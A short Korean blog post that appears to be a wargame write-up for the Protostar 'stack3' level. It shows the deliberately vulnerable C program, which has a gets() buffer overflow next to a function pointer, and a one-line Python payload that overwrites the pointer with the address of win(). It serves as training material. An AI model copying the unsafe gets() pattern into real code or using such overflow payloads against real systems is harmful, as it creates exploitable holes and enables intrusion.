친구에게 알려주면서 오랫만에 포스팅 한다.


  1. #include <stdlib.h>  
  2. #include <unistd.h>  
  3. #include <stdio.h>  
  4. #include <string.h>  
  5.   
  6. void win()  
  7. {  
  8.   printf("code flow successfully changed\n");  
  9. }  
  10.   
  11. int main(int argc, char **argv)  
  12. {  
  13.   volatile int (*fp)();  
  14.   char buffer[64];  
  15.   
  16.   fp = 0;  
  17.   
  18.   gets(buffer);  
  19.   
  20.   if(fp) {  
  21.       printf("calling function pointer, jumping to 0x%08x\n", fp);  
  22.       fp();  
  23.   }  
  24. }  


eip를 찾아 win 함수의 주소로 덮어 씌우면 될것 같다.


역시 쉬운문제를 풀면 뭔가 힐링이 되는것 같다.



payload

(python -c 'print "A"*64 + "\x7d\x84\x04\x08"';cat;) | ./stack3

'pwnable > exploit-exercise' 카테고리의 다른 글

stack5  (0) 2017.02.24
stack4  (0) 2017.02.24
stack2  (0) 2016.07.11
stack1  (0) 2016.07.09
stack0  (0) 2016.07.09

+ Recent posts